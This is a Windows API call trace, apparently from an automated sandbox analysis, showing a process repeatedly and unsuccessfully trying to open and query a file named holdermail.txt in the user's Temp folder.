	[0088.914] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.914] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.915] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.915] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.915] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.915] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.916] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.916] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.916] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.917] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.917] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.917] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.917] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.917] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.917] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.918] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.918] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.918] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.918] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.918] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.918] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.919] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.919] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.919] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.919] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.920] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.920] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.920] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.920] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.920] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.921] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.921] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.921] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.922] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.922] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.922] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.922] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.922] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.922] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.923] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.923] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.923] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.923] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.923] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.923] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.924] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.924] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.924] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.924] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.925] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.925] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.925] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.925] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.926] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.926] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.927] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.927] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.927] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.927] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.927] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.927] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.928] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.928] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.928] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.928] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.928] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.928] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
